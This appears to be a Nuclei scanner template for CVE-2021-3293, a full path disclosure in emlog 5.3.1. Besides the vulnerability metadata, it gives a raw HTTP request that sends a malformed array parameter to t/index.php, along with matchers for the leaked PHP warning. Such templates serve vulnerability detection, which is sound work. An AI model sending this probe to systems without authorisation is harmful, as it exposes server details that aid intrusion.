id: CVE-2021-3293

info:
  name: Emlog 5.3.1 Path Disclosure
  description: emlog v5.3.1 has full path disclosure vulnerability in t/index.php, which allows an attacker to see the path to the webroot/file.
  author: h1ei1
  severity: high
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3293
    - https://github.com/emlog/emlog/issues/62
    - https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md
  tags: cve,cve2021,emlog,fpd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2021-3293
    cwe-id: CWE-22

requests:
  - raw:
      - |
        GET /t/index.php?action[]=aaaa HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<b>Warning</b>"
          - "on line"
          - "expects parameter"
        condition: and